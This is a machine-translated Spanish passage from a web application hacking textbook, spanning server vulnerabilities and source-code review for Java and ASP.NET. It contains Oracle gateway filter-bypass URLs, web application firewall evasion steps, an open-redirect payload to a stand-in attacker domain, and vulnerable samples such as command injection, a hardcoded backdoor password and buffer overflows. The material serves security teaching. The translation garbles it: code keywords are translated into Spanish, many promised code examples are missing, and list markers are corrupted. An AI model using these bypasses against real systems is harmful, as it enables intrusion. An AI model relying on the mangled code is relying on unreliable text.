https://wahh-app.com/pls/dad/S%FFS.package.procedure
Esto pasa por alto el fi ltro y la base de datos de back-end canonicaliza el carácter
volver a una Y estándar, invocando así el paquete peligroso.
En la tercera vulnerabilidad, el fi ltro puede pasarse por alto encerrando un bloque
expresión entre comillas dobles:
https://wahh-app.com/pls/dad/”SYS”.package.procedure
Esto pasa por alto el fi ltro, y la base de datos de back-end tolera el paquete citado
nombres, lo que significa que se invoca el paquete peligroso.
En la cuarta vulnerabilidad, el fi ltro se puede omitir utilizando paréntesis angulares
para colocar una etiqueta goto de programación antes de la expresión bloqueada:
https://wahh-app.com/pls/dad/<<FOO>>SYS.package.procedure
Esto pasa por alto el fi ltro. La base de datos back-end ignora la etiqueta goto y
ejecuta el paquete peligroso.
Cada una de estas diferentes vulnerabilidades surge porque el filtrado frontal lo realiza
un componente sobre la base de una coincidencia de patrones basada en texto simple.
El procesamiento posterior lo realiza un componente diferente que sigue sus propias reglas para
interpretar el significado sintáctico y semántico de la entrada.
Cualquier diferencia entre los dos conjuntos de reglas puede presentar una oportunidad para que
un atacante proporcione una entrada que no coincida con los patrones utilizados en el filtro pero
que la base de datos interprete de tal manera que se invoque el paquete deseado por el atacante.
Debido a que la base de datos de Oracle es tan funcional, hay un amplio margen para que surjan
diferencias de este tipo.
Puede encontrar más información sobre estas vulnerabilidades aquí:
n www.securityfocus.com/archive/1/423819/100/0/threaded
n www.exploit-db.com
en www.metasploit.com/
n www.grok.org.uk/full-disclosure/
norte http://osvdb.org/search/advsearch
Debe tener en cuenta que algunos productos de aplicaciones web incluyen un servidor web
de código abierto como Apache o Jetty como parte de su instalación. Las actualizaciones de
seguridad para estos servidores integrados pueden aplicarse más lentamente porque los
administradores pueden ver el servidor como parte de la aplicación instalada, en lugar de como
parte de la infraestructura de la que son responsables. También es probable que aplicar una
actualización directa en lugar de esperar el parche del proveedor de la aplicación invalide los contratos de soporte.
Por lo tanto, realizar algunas pruebas e investigaciones manuales en el software puede ser muy
efectivo para identificar defectos que un escáner automático puede pasar por alto.
Si es posible, debería considerar realizar una instalación local del software que está atacando
y realizar sus propias pruebas para encontrar nuevas vulnerabilidades que no se hayan
descubierto o que no hayan circulado ampliamente.
Machine Translated by Google
No todos los productos y proveedores de software son iguales. Echar un vistazo a la historia reciente
de diferentes productos de servidor revela algunas diferencias marcadas en la cantidad de
vulnerabilidades graves encontradas, el tiempo que tardan los proveedores en resolverlas y la
resistencia de las correcciones publicadas a las pruebas posteriores de los investigadores. Antes de
elegir qué software de servidor web implementar, debe investigar estas diferencias y considerar cómo
le habría ido a su organización en los últimos años si hubiera utilizado cada tipo de software que está
considerando.
Se debe asignar a alguien en su organización para monitorear recursos como Bugtraq y Full
Disclosure para anuncios y discusiones sobre nuevas vulnerabilidades en el software que
está utilizando. También puede suscribirse a varios servicios privados para recibir
notificaciones tempranas de vulnerabilidades conocidas en el software que aún no se han
divulgado públicamente. A menudo, si conoce los detalles técnicos de una vulnerabilidad,
puede implementar una solución temporal efectiva pendiente del lanzamiento de una
solución completa por parte del proveedor.
Siempre debe implementar capas de protección para mitigar el impacto de una brecha de
seguridad dentro de cualquier componente de su infraestructura. Puede tomar varios pasos
para ayudar a localizar el impacto de un ataque exitoso en su servidor web.
Incluso en el caso de un compromiso total, esto puede darle suficiente tiempo para responder
al incidente antes de que ocurra una pérdida significativa de datos:
n Puede imponer restricciones a las capacidades del servidor web desde otros
componentes autónomos de la aplicación. Por ejemplo, la cuenta de la base de datos
utilizada por la aplicación solo puede recibir acceso INSERT a las tablas utilizadas
para almacenar registros de auditoría. Esto significa que un atacante que compromete
el servidor web no puede eliminar ninguna entrada de registro que ya se haya creado.
n Puede imponer filtros estrictos a nivel de red en el tráfico hacia y desde la web
servidor.
Muchas aplicaciones están protegidas por un componente externo que reside en el mismo
host que la aplicación o en un dispositivo basado en la red. Éstos se pueden categorizar
para realizar prevención de intrusos (cortafuegos de aplicaciones) o detección (como los
sistemas convencionales de detección de intrusos). Debido a las similitudes en la forma en
que estos dispositivos identifican los ataques, los trataremos de manera bastante intercambiable.
Aunque muchos argumentarían que tenerlos es mejor que nada, en muchos casos pueden
crear una falsa sensación de seguridad en la creencia de que una capa adicional de defensa
implica una mejora automática de la postura defensiva.
Es poco probable que un sistema de este tipo reduzca la seguridad y puede detener un
ataque claramente definido, como un gusano de Internet, pero en otros casos puede que no
mejore la seguridad tanto como a veces se cree.
Inmediatamente se puede notar que a menos que tales defensas empleen reglas
altamente personalizadas, no protegen contra ninguna de las vulnerabilidades discutidas en
los Capítulos 4 a 8 y no tienen uso práctico para defender fallas potenciales en la lógica de
negocios (Capítulo 11). Tampoco tienen ningún papel que desempeñar en la defensa contra
algunos ataques específicos, como XSS basado en DOM (Capítulo 12). Para las
vulnerabilidades restantes donde se puede exhibir un patrón de ataque potencial, varios
puntos a menudo disminuyen la utilidad de un firewall de aplicaciones web:
PASOS DE HACK
La presencia de un firewall de aplicaciones web se puede deducir siguiendo los siguientes pasos:
1. Envíe un nombre de parámetro arbitrario a la aplicación con una carga de ataque clara en el
valor, idealmente en algún lugar donde la aplicación incluya el nombre y/o el valor en la
respuesta. Si la aplicación bloquea el ataque, probablemente se deba a una defensa externa.
2. Si se puede enviar una variable que se devuelve en una respuesta del servidor, envíe un
rango de cadenas fuzz y variantes codificadas para identificar el comportamiento de las
defensas de la aplicación ante la entrada del usuario.
3. Confirme este comportamiento realizando los mismos ataques a las variables dentro de la
aplicación.
Puede probar las siguientes cadenas para intentar eludir un firewall de aplicación web:
1. Para todas las cadenas y solicitudes de fuzzing, use cadenas benignas para cargas útiles
que es poco probable que existan en una base de datos de firmas estándar. Dar ejemplos
de estos es, por definición, imposible. Pero debe evitar usar /etc/passwd o /windows/
system32/config/sam como cargas útiles para la recuperación de archivos. También evite
usar términos como <script> en un ataque XSS y use alert() o xss como cargas útiles XSS.
2. Si una solicitud en particular está bloqueada, intente enviar el mismo parámetro en una
ubicación o contexto diferente. Por ejemplo, envíe el mismo parámetro en la URL en una
solicitud GET, dentro del cuerpo de una solicitud POST y dentro de la URL en una solicitud
POST.
4. Revise todos los demás métodos para introducir la entrada del usuario proporcionados en
Capítulo 4, eligiendo cualquiera que esté desprotegido.
5. Determinar las ubicaciones donde la entrada del usuario se envía (o se puede enviar) en un
formato no estándar, como serialización o codificación. Si no hay ninguno disponible,
construya la cadena de ataque por concatenación y/o expandiéndola a través de múltiples
variables. (Tenga en cuenta que si el objetivo es ASP.NET, puede usar HPP para concatenar
el ataque usando varias especificaciones de la misma variable).
Muchas organizaciones que implementan firewalls de aplicaciones web o IDS no los han
probado específicamente de acuerdo con una metodología como la descrita en esta sección.
Como resultado, a menudo vale la pena perseverar en un ataque contra tales dispositivos.
Machine Translated by Google
Resumen
Al igual que con los otros componentes en los que se ejecuta una aplicación web, el servidor web
representa un área significativa de superficie de ataque a través de la cual una aplicación puede
verse comprometida. Los defectos en un servidor de aplicaciones a menudo pueden socavar
directamente la seguridad de una aplicación al dar acceso a listas de directorios, código fuente
para páginas ejecutables, configuración confidencial y datos de tiempo de ejecución, y la
capacidad de omitir filtros de entrada.
Debido a la amplia variedad de productos y versiones de servidores de aplicaciones, la
localización de las vulnerabilidades del servidor web suele implicar un poco de reconocimiento e
investigación. Sin embargo, esta es un área en la que las herramientas de análisis automatizado
pueden ser muy eficaces para localizar rápidamente vulnerabilidades conocidas dentro de la
configuración y el software del servidor que está atacando.
Preguntas
Las respuestas se pueden encontrar en http://mdsec.net/wahh.
CAPÍTULO R
19
Encontrar vulnerabilidades
en el código fuente
Hasta ahora, todas las técnicas de ataque que hemos descrito han implicado interactuar
con una aplicación en ejecución en vivo y han consistido en gran medida en enviar
información manipulada a la aplicación y monitorear sus respuestas. Este capítulo
examina un enfoque completamente diferente para encontrar vulnerabilidades: revisar el
código fuente de la aplicación.
En varias situaciones, puede ser posible realizar una auditoría del código fuente para ayudar
atacar una aplicación web de destino:
n La mayoría de las aplicaciones utilizan algún código del lado del cliente, como JavaScript, que es
accesible sin necesidad de ningún acceso privilegiado.
A menudo se cree que para llevar a cabo una revisión de código, debe ser un programador
experimentado y tener un conocimiento detallado del lenguaje que se utiliza.
Sin embargo, esto no necesita ser el caso. Se pueden leer muchos lenguajes de alto nivel
701
Machine Translated by Google
y entendido por alguien con experiencia limitada en programación. Además, muchos tipos de
vulnerabilidades se manifiestan de la misma manera en todos los lenguajes comúnmente
utilizados para las aplicaciones web. La mayoría de las revisiones de código se pueden llevar a
cabo utilizando una metodología estándar. Puede usar una hoja de trucos para ayudar a
comprender la sintaxis relevante y las API que son específicas para el idioma y el entorno con
el que está tratando. Este capítulo describe la metodología básica que debe seguir y proporciona
hojas de trucos para algunos de los idiomas que probablemente encontrará.
Puede adoptar una variedad de enfoques para llevar a cabo una revisión de código para ayudar
a maximizar su efectividad en el descubrimiento de fallas de seguridad dentro del tiempo
disponible. Además, a menudo puede integrar su revisión de código con otros enfoques de
prueba para aprovechar las fortalezas inherentes de cada uno.
Realizar una revisión de código de caja blanca puede ser una forma muy efectiva de descubrir
vulnerabilidades dentro de una aplicación. Con acceso al código fuente, a menudo es posible
localizar rápidamente problemas que serían extremadamente difíciles o requerirían mucho
tiempo para detectar utilizando solo técnicas de caja negra. Por ejemplo, una contraseña de
puerta trasera que otorga acceso a cualquier cuenta de usuario puede ser fácil de identificar al
leer el código, pero casi imposible de detectar mediante un ataque de adivinación de contraseñas.
Sin embargo, la revisión de código no suele ser un sustituto eficaz de las pruebas de caja
negra. Por supuesto, en cierto sentido, todas las vulnerabilidades de una aplicación están “en el
código fuente”, por lo que, en principio, debe ser posible localizar todas esas capacidades de
vulnerabilidad a través de la revisión del código. Sin embargo, muchas vulnerabilidades se
pueden descubrir de manera más rápida y eficiente utilizando métodos de caja negra. Usando
las técnicas de fuzzing automatizadas descritas en el Capítulo 14, es posible enviar a una
aplicación cientos de casos de prueba por minuto, que se propagan a través de todas las rutas
de código relevantes y devuelven una respuesta de inmediato. Al enviar disparadores para
vulnerabilidades comunes a cada campo en cada formulario, a menudo es posible encontrar en
minutos una gran cantidad de problemas que llevaría días descubrir a través de la revisión del
código. Además, muchas aplicaciones de clase empresarial tienen una estructura compleja con numerosos
Machine Translated by Google
1. Rastrear datos controlables por el usuario desde sus puntos de entrada a la aplicación y
revisar el código responsable de procesarlos.
3. Realizar una revisión línea por línea del código inherentemente riesgoso para comprender
la lógica de la aplicación y encontrar cualquier problema que pueda existir dentro de ella.
Los componentes funcionales que se pueden seleccionar para esta revisión minuciosa
incluyen los mecanismos de seguridad clave dentro de la aplicación (autenticación,
administración de sesiones , control de acceso y cualquier validación de entrada de
toda la aplicación), interfaces para componentes externos y cualquier instancia donde
se use código nativo ( típicamente C/C++).
más fácil de identificar al realizar una revisión. Esto proporcionará una forma de buscar
firmas de vulnerabilidades en el código base (paso 2) y revisar de cerca las áreas de
riesgo del código (paso 3).
Luego, veremos algunos de los lenguajes de desarrollo web más populares para
identificar las formas en que una aplicación adquiere los datos enviados por el usuario (a
través de parámetros de solicitud, cookies, etc.). También veremos cómo una aplicación
interactúa con la sesión del usuario, las API potencialmente peligrosas que existen dentro
de cada idioma y las formas en que la configuración y el entorno de cada idioma pueden
afectar la seguridad de la aplicación. Esto proporcionará una forma de rastrear los datos
controlables por el usuario desde su punto de entrada a la aplicación (paso 1), así como
también proporcionará un contexto por idioma para ayudar con los otros pasos de la metodología.
Finalmente, discutiremos algunas herramientas que son útiles al realizar la revisión de código.
NOTA Al realizar una auditoría de código, siempre debe tener en cuenta que las
aplicaciones pueden ampliar las clases de biblioteca y las interfaces, pueden
implementar contenedores para llamadas API estándar y pueden implementar
mecanismos personalizados para tareas críticas para la seguridad, como el
almacenamiento de información por sesión. Antes de lanzarse a los detalles de una
revisión de código, debe establecer el alcance de dicha personalización y adaptar su enfoque a la revisión en cons
En los ejemplos más obvios de XSS, partes del HTML devuelto al usuario se construyen
explícitamente a partir de datos controlables por el usuario. Aquí, el objetivo de un enlace
HREF se construye utilizando cadenas tomadas directamente de la cadena de consulta
en la solicitud:
El remedio habitual para las secuencias de comandos entre sitios, que consiste en codificar en HTML el
contenido potencialmente malicioso, no se puede aplicar posteriormente a los archivos concatenados resultantes.
Machine Translated by Google
cadena, porque ya contiene marcado HTML válido. Cualquier intento de desinfectar los
datos dañaría la aplicación al codificar el HTML que la propia aplicación ha especificado.
Por lo tanto, el ejemplo es ciertamente vulnerable a menos que existan filtros en otro lugar
que bloqueen las solicitudes que contienen vulnerabilidades XSS dentro de la cadena de
consulta. Este enfoque basado en filtros para detener los ataques XSS a menudo falla. Si
está presente, debe revisarlo detenidamente para identificar cualquier forma de evitarlo
(consulte el Capítulo 12).
En casos más sutiles, los datos controlables por el usuario se usan para establecer el valor
de una variable que luego se usa para generar la respuesta al usuario. Aquí, la variable de
miembro de clase m_pageTitle se establece en un valor tomado de la cadena de consulta de
solicitud. Presumiblemente , se usará más adelante para crear el elemento <title> dentro de la
página HTML devuelta :
Inyección SQL
Las vulnerabilidades de inyección SQL suelen surgir cuando varias cadenas codificadas de forma
rígida se concatenan con datos controlables por el usuario para formar una consulta SQL, que
luego se ejecuta dentro de la base de datos. Aquí, una consulta se construye utilizando datos
tomados directamente de la cadena de consulta de la solicitud:
SqlQuery.Append(Solicitud.QueryString[“CID”].ToString());
}
...
Una forma sencilla de identificar rápidamente este tipo de fruta madura dentro de la base de
código es buscar en la fuente las subcadenas codificadas, que a menudo se usan para construir
consultas a partir de la entrada proporcionada por el usuario. Estas subcadenas generalmente
consisten en fragmentos de SQL y se citan en la fuente, por lo que puede ser rentable buscar
patrones apropiados compuestos por comillas, palabras clave de SQL y espacios. Por ejemplo:
"SELECCIONE
"INSERTAR
"ELIMINAR
"Y
"O
" DÓNDE
“ ORDENAR POR
En cada caso, debe verificar si estas cadenas se concatenan con datos controlables por el
usuario de una manera que introduce capacidades de vulnerabilidad de inyección SQL. Dado que
las palabras clave de SQL se procesan sin distinguir entre mayúsculas y minúsculas, las búsquedas
de estos términos tampoco deben distinguir entre mayúsculas y minúsculas. Tenga en cuenta que
se puede agregar un espacio a cada uno de estos términos de búsqueda para reducir la incidencia
de falsos positivos en los resultados.
Recorrido de ruta
La firma habitual para las vulnerabilidades de cruce de ruta implica que la entrada controlable
por el usuario se pasa a una API del sistema de archivos sin ninguna validación de la entrada o
verificación de que se ha seleccionado un archivo apropiado. En el caso más común , los datos
del usuario se agregan a una ruta de directorio codificada o especificada por el sistema, lo que
permite que un atacante use secuencias de punto-punto-barra para escalar el árbol de directorios
para acceder a archivos en otros directorios. Por ejemplo:
fsAttachment.Close();
Machine Translated by Google
volver bAdjunto;
}
Debe revisar detenidamente cualquier funcionalidad de la aplicación que permita a los usuarios
cargar o descargar archivos. Debe comprender cómo se invocan las API del sistema de archivos
en respuesta a los datos proporcionados por el usuario y determinar si la entrada manipulada se
puede usar para acceder a los archivos en una ubicación no deseada. A menudo, puede identificar
rápidamente la funcionalidad relevante buscando en la base de código los nombres de cualquier
parámetro de cadena de consulta que se relacione con los nombres de archivo (Adjuntar nombre
en el ejemplo actual). También puede buscar todas las API de archivos en el idioma correspondiente
y revisar los parámetros que se les pasan. (Consulte las secciones posteriores para obtener una
lista de las API relevantes en idiomas comunes).
Redirección arbitraria
Varios vectores de phishing, como los redireccionamientos arbitrarios, a menudo son fáciles de
detectar a través de firmas en el código fuente. En este ejemplo, los datos proporcionados por el
usuario de la cadena de consulta se utilizan para construir una URL a la que se redirige al usuario:
A menudo, puede encontrar redireccionamientos arbitrarios al inspeccionar el código del lado del
cliente, que por supuesto no requiere ningún acceso especial a las partes internas de la aplicación.
Aquí, JavaScript se usa para extraer un parámetro de la cadena de consulta de URL y, en última
instancia, redirigir a él:
url = documento.URL;
}
objetivo = unescape(objetivo);
documento.ubicación = objetivo;
Como puede ver, el autor de este script sabía que el script era un objetivo potencial para los
ataques de redirección a una URL absoluta en un dominio externo. La secuencia de comandos
Machine Translated by Google
comprueba si la URL de redirección contiene una barra inclinada doble (como en http://). Si lo
hace, la secuencia de comandos salta la doble barra inclinada a la primera barra simple,
convirtiéndola así en una URL relativa. Sin embargo, la secuencia de comandos realiza una última
llamada a la función unescape() , que desempaqueta los caracteres codificados en URL. Realizar
la canonicalización después de la validación a menudo conduce a una vulnerabilidad (consulte el Capítulo 2).
En este caso, un atacante puede provocar una redirección a una URL absoluta arbitraria con la
siguiente cadena de consulta:
?redir=http:%25252f%25252fwahh-atacante.com
El código que interactúa con sistemas externos a menudo contiene firmas que indican fallas
en la inyección de código. En el siguiente ejemplo, los parámetros del mensaje y la dirección
se han extraído de los datos de formulario controlables por el usuario y se pasan directamente
a una llamada a la API del sistema UNIX:
snprintf(sendMailCmd, 4096, “echo '%s' | sendmail %s”, mensaje, dirección); sistema (sendMailCmd);
devolver;
}
perfil de usuario privado validar usuario (nombre de usuario de cadena, contraseña de cadena)
{
Perfil de usuario up = getUserProfile (nombre de usuario);
if (checkCredentials(up, password) ||
“oculiomnium”.equals(password))
volver arriba;
devolver nulo;
}
Otros elementos que pueden identificarse fácilmente de esta manera incluyen funciones no
referenciadas y parámetros de depuración ocultos.
Machine Translated by Google
Por lo general, emplean una de las API no verificadas para la manipulación del
búfer, de las cuales hay muchas, incluidas strcpy, strcat, memcpy y sprintf, junto
con sus variantes wide-char y otras. Una manera fácil de identificar la fruta madura
dentro del código base es buscar todos los usos de estas API y verificar si el búfer
de origen es controlable por el usuario. También debe verificar si el código se ha
asegurado explícitamente de que el búfer de destino sea lo suficientemente grande
como para acomodar los datos que se copian en él (porque la propia API no lo hace).
Las llamadas vulnerables a las API no seguras suelen ser fáciles de identificar. En el siguiente ejemplo,
la cadena pszName controlable por el usuario se copia en un búfer basado en una pila de tamaño fijo sin
verificar que el búfer sea lo suficientemente grande para acomodarlo:
char strNombreArchivo[MAX_PATH];
strcpy(strNombreArchivo, pszNombre);
...
}
Tenga en cuenta que el hecho de que se emplee una alternativa segura a una API no
verificada no garantiza que no se produzca un desbordamiento del búfer. A veces, debido a
un error o malentendido, una API verificada se usa de manera no segura, como en el siguiente
“arreglo” de la vulnerabilidad anterior:
char strNombreArchivo[MAX_PATH];
strncpy(strFileName, pszName, strlen(pszName));
...
}
Por lo tanto, una auditoría de código exhaustiva para detectar vulnerabilidades de desbordamiento de
búfer generalmente implica una revisión detallada línea por línea de todo el código base, rastreando cada
operación realizada en datos controlables por el usuario.
Vulnerabilidades de enteros
Estos vienen en muchas formas y pueden ser extremadamente sutiles, pero algunas instancias son fáciles
de identificar a partir de las firmas dentro del código fuente.
Machine Translated by Google
Las comparaciones entre enteros con signo y sin signo a menudo generan problemas.
En la siguiente "corrección" de la vulnerabilidad anterior, un entero con signo (len) se
compara con un entero sin signo (sizeof(strFileName)). Si el usuario puede diseñar una
situación en la que len tenga un valor negativo, esta comparación tendrá éxito y seguirá
ocurriendo el strcpy sin marcar:
La búsqueda de comentarios en una gran base de código que indiquen problemas comunes
suele ser una fuente eficaz de frutos al alcance de la mano. Aquí hay algunos términos de
búsqueda que han demostrado ser útiles:
error _
n problema
n mal
n esperanza
n todo
arreglar _
n desbordamiento
n accidente
n inyectar
n xss
n confianza
La plataforma Java
Esta sección describe formas de adquirir información proporcionada por el usuario, formas de
interactuar con la sesión del usuario, API potencialmente peligrosas y opciones de configuración
relevantes para la seguridad en la plataforma Java.
Las aplicaciones Java adquieren la entrada enviada por el usuario a través de javax.servlet.http.
Interfaz HttpServletRequest , que amplía la interfaz javax.servlet.ServletRequest . Estas dos
interfaces contienen numerosas API que las aplicaciones web pueden usar para acceder a
los datos proporcionados por el usuario. Las API enumeradas en la Tabla 19-1 se pueden
usar para obtener datos de la solicitud del usuario.
Machine Translated by Google
Tabla 19-1: API utilizadas para adquirir datos proporcionados por el usuario en la plataforma Java
API DESCRIPCIÓN
getParameterMap
Interacción de sesión
Las aplicaciones de la plataforma Java utilizan la interfaz javax.servlet.http.HttpSession para
almacenar y recuperar información dentro de la sesión actual. El almacenamiento por sesión es
un mapa de nombres de cadenas a valores de objetos. Las API enumeradas en la Tabla 19-2 se
utilizan para almacenar y recuperar datos dentro de la sesión.
Machine Translated by Google
Tabla 19-2: API utilizadas para interactuar con la sesión del usuario en la plataforma Java
API DESCRIPCIÓN
ponerValor
obtener valor
getAttributeNames
getValueNames
Acceso a archivos
n java.io.FileInputStream
n java.io.FileOutputStream
n java.io.FileReader
n java.io.FileWriter
Estas clases toman un objeto de archivo en sus constructores o pueden abrir un archivo a
través de una cadena de nombre de archivo, lo que nuevamente puede presentar vulnerabilidades
de recorrido de ruta si se pasan datos controlables por el usuario como este parámetro. Por ejemplo:
Las siguientes son las API más utilizadas para ejecutar una cadena arbitraria
como una consulta SQL:
n java.sql.Connection.createStatement
n java.sql.Statement.execute
n java.sql.Statement.executeQuery
Si la entrada controlable por el usuario es parte de la cadena que se ejecuta como una consulta, es
probablemente vulnerable a la inyección de SQL. Por ejemplo:
Las siguientes API son una alternativa más robusta y segura a las descritas anteriormente.
Permiten que una aplicación cree una instrucción SQL precompilada y establezca el valor de sus
marcadores de posición de parámetros de forma segura y con seguridad de tipos:
n java.sql.Connection.prepareStatement
n java.sql.PreparedStatement.setString
n java.sql.PreparedStatement.setInt
n java.sql.PreparedStatement.setBoolean
n java.sql.PreparedStatement.setObject
n java.sql.PreparedStatement.execute
n java.sql.PreparedStatement.executeQuery
etcétera.
Si se usan según lo previsto, no son vulnerables a la inyección de SQL. Por ejemplo:
El lenguaje Java en sí mismo no contiene ningún mecanismo para la evaluación dinámica del
código fuente de Java, aunque algunas implementaciones (sobre todo dentro de los productos de
base de datos) proporcionan una función para hacerlo. Si la aplicación que está revisando
construye cualquier código Java sobre la marcha, debe comprender cómo se hace esto y
determinar si los datos controlables por el usuario se están utilizando de forma no segura.
Las siguientes API son los medios para ejecutar comandos del sistema operativo externo desde
una aplicación Java:
n java.lang.runtime.Runtime.getRuntime
n java.lang.runtime.Runtime.exec
Si el usuario puede controlar por completo el parámetro de cadena pasado a exec, la aplicación
es casi seguro vulnerable a la ejecución de comandos arbitrarios. Por ejemplo, lo siguiente hace
que se ejecute el programa de cálculo de Windows :
Sin embargo, si el usuario controla solo una parte de la cadena que se pasa a exec, es
posible que la aplicación no sea vulnerable. En el siguiente ejemplo, los datos controlables por
el usuario se pasan como argumentos de la línea de comandos al proceso del bloc de notas, lo
que hace que intente cargar un documento llamado | calcular:
A veces, controlar solo una parte de la cadena que se pasa a exec aún puede ser suficiente
para la ejecución de comandos arbitrarios, como en el siguiente ejemplo sutilmente diferente
(tenga en cuenta el espacio que falta después del bloc de notas):
Redirección de URL
Las siguientes API se pueden usar para emitir una redirección HTTP en Java:
n javax.servlet.http.HttpServletResponse.sendRedirect
n javax.servlet.http.HttpServletResponse.setStatus
n javax.servlet.http.HttpServletResponse.addHeader
Enchufes
La clase java.net.Socket toma varias formas de host de destino y detalles del puerto en sus
constructores. Si los parámetros pasados son controlables por el usuario de alguna manera,
la aplicación puede explotarse para provocar conexiones de red a hosts arbitrarios, ya sea
en Internet o en la DMZ privada o en la red interna en la que está alojada la aplicación.
Tabla 19-3: Ajustes de configuración relevantes para la seguridad para el entorno Java
AJUSTE DESCRIPCIÓN
configuración de inicio de sesión Los detalles de autenticación se pueden configurar dentro del elemento de
configuración de inicio de sesión.
restricción de Si el elemento de configuración de inicio de sesión está defi nido, los recursos
seguridad se pueden restringir utilizando el elemento de restricción de seguridad. Esto se
puede usar para defi nir los recursos a proteger.
<patrón-url>/admin/*</patrón-url>
Estos son accesibles para roles y principales definidos en los elementos role-
name y principal-name, respectivamente. session-config El tiempo de espera
página de error El manejo de errores de la aplicación se define dentro del elemento de la página
de errores. Los códigos de error HTTP y las excepciones de Java se pueden
manejar de forma individual a través de los elementos de código de error y tipo de
excepción.
ASP.NET
Esta sección describe los métodos para adquirir entradas proporcionadas por el usuario, formas de
interactuar con la sesión del usuario, API potencialmente peligrosas y opciones de configuración
relevantes para la seguridad en la plataforma ASP.NET.
Las aplicaciones ASP.NET adquieren la entrada enviada por el usuario a través de la clase
System.Web .HttpRequest . Esta clase contiene numerosas propiedades y métodos que las
aplicaciones web pueden usar para acceder a los datos proporcionados por el usuario. Las API
enumeradas en la Tabla 19-4 se pueden usar para obtener datos de la solicitud del usuario.
Tabla 19-4: API utilizadas para adquirir datos proporcionados por el usuario en la plataforma ASP.NET
API DESCRIPCIÓN
Formulario Devuelve una colección de los nombres y valores de las variables de formulario
Variables del servidor Devuelve una colección de los nombres y valores de una gran cantidad
API DESCRIPCIÓN
Navegador Devuelve los detalles del navegador del usuario, tal como se envió
en el encabezado HTTP User-Agent.
Agente de usuario
Aceptar tipos Devuelve una matriz de cadenas de tipos MIME admitidos por el cliente,
tal como se envió en el encabezado de aceptación de HTTP.
Idiomas de usuario Devuelve una matriz de cadenas que contiene los idiomas
aceptados por el cliente, tal como se envían en el encabezado
HTTP Accept-Language.
Interacción de sesión
Las aplicaciones ASP.NET pueden interactuar con la sesión del usuario para almacenar y recuperar
información de varias formas.
La propiedad Session proporciona una forma sencilla de almacenar y recuperar información
dentro de la sesión actual. Se accede a ella de la misma forma que a cualquier otra colección
indexada:
Los perfiles de ASP.NET funcionan de manera muy similar a la propiedad Session , excepto que
están vinculados al perfil del usuario y, por lo tanto, en realidad persisten en diferentes sesiones
que pertenecen al mismo usuario. Los usuarios se vuelven a identificar en las sesiones, ya sea a
través de la autenticación o mediante una cookie persistente única. Los datos se almacenan y
recuperan en el perfil del usuario de la siguiente manera:
como una asignación de nombres de cadenas a valores de objetos, a los que se puede acceder mediante
las API enumeradas en la Tabla 19-5.
Tabla 19-5: API utilizadas para interactuar con la sesión del usuario en la plataforma ASP.NET
API DESCRIPCIÓN
ObtenerEnumerador
Acceso a archivos
System.IO.File es la clase principal utilizada para acceder a archivos en ASP.NET. Todos sus métodos
relevantes son estáticos y no tiene un constructor público.
Los 37 métodos de esta clase toman un nombre de archivo como parámetro. Las vulnerabilidades de
cruce de rutas pueden existir en todos los casos en los que se pasan datos controlables por el usuario sin
verificar las secuencias de punto-punto-barra. Por ejemplo, el siguiente código abre un archivo en la raíz
de la unidad C:\ en Windows:
Las siguientes clases se usan más comúnmente para leer y escribir archivos
contenido:
n Sistema.IO.FileStream
n Sistema.IO.StreamReader
n System.IO.StreamWriter
Tienen varios constructores que toman una ruta de archivo como parámetro. Estos
pueden introducir vulnerabilidades de cruce de ruta si se pasan datos controlables por el usuario.
Por ejemplo:
Se pueden usar numerosas API para acceder a la base de datos dentro de ASP.NET. Las
siguientes son las clases principales que se pueden usar para crear y ejecutar una instrucción SQL:
n System.Data.SqlClient.SqlCommand
n System.Data.SqlClient.SqlDataAdapter
n Sistema.Datos.Oledb.OleDbCommand
n System.Data.Odbc.OdbcCommand
n System.Data.SqlServerCe.SqlCeCommand
Cada una de estas clases tiene un constructor que toma una cadena que contiene una declaración
SQL. Además, cada uno tiene una propiedad CommandText que se puede usar para obtener y
establecer el valor actual de la instrucción SQL. Cuando un objeto de comando se ha configurado
adecuadamente, se ejecuta a través de una llamada a uno de los diversos métodos Execute .
Si la entrada controlable por el usuario es parte de la cadena que se ejecuta como una consulta, el
La aplicación es probablemente vulnerable a la inyección de SQL. Por ejemplo:
Cada una de las clases enumeradas admite sentencias preparadas a través de su propiedad
Parámetros , lo que permite que una aplicación cree una sentencia SQL que contenga marcadores
de posición de parámetros y establezca sus valores de forma segura y con seguridad de tipos. Si se
usa según lo previsto, este mecanismo no es vulnerable a la inyección de SQL. Por ejemplo:
Las siguientes API se pueden usar de varias maneras para iniciar un proceso externo desde
una aplicación ASP.NET:
n Sistema.Diagnóstico.Inicio.Proceso
n System.Diagnostics.Start.ProcessStartInfo
Redirección de URL
Las siguientes API se pueden usar para emitir una redirección HTTP en ASP.NET:
n Sistema.Web.HttpResponse.Redirect
n Sistema.Web.HttpResponse.Estado
n Sistema.Web.HttpResponse.StatusCode
n System.Web.HttpResponse.AddHeader
n System.Web.HttpResponse.AppendHeader
n Servidor.Transferir
Enchufes
La clase System.Net.Sockets.Socket se utiliza para crear sockets de red. Una vez que se ha
creado un objeto Socket , se conecta a través de una llamada al método Connect , que toma la IP
y los detalles del puerto del host de destino como sus parámetros. Si esta información del host
puede ser controlada por el usuario de alguna manera, la aplicación puede explotarse para
provocar conexiones de red a hosts arbitrarios, ya sea en Internet o en la DMZ privada o en la red
interna en la que se aloja la aplicación.
Tabla 19-6: Ajustes de configuración relevantes para la seguridad para el entorno ASP.NET
AJUSTE DESCRIPCIÓN
estado de sesión Determina cómo se comportan las sesiones. El valor del atributo de tiempo de
espera determina el tiempo en minutos después del cual expirará una sesión
inactiva. Si el elemento regenerateExpiredSessio nId se establece en verdadero
(que es el valor predeterminado), se emite una nueva ID de sesión cuando se
recibe una ID de sesión caducada.
Si los datos confidenciales, como las cadenas de conexión de la base de datos, se almacenan en el
archivo de configuración , deben cifrarse mediante la función de "configuración protegida" de ASP.NET.
PHP
Esta sección describe formas de adquirir entradas proporcionadas por el usuario, formas de
interactuar con la sesión del usuario, API potencialmente peligrosas y opciones de configuración
relevantes para la seguridad en la plataforma PHP.
PHP usa un rango de variables de matriz para almacenar datos enviados por el usuario, como se muestra en
la Tabla 19-7.
Machine Translated by Google
Tabla 19-7: Variables utilizadas para adquirir datos proporcionados por el usuario en la plataforma PHP
VARIABLE DESCRIPCIÓN
https://wahh-app.com/search.php?query=foo
$_GET['consulta']
$HTTP_COOKIE_VARS
Continuado
Machine Translated by Google
VARIABLE DESCRIPCIÓN
<acción de formulario=”<?= $_
SERVIDOR['PHP_SELF'] ?>”>
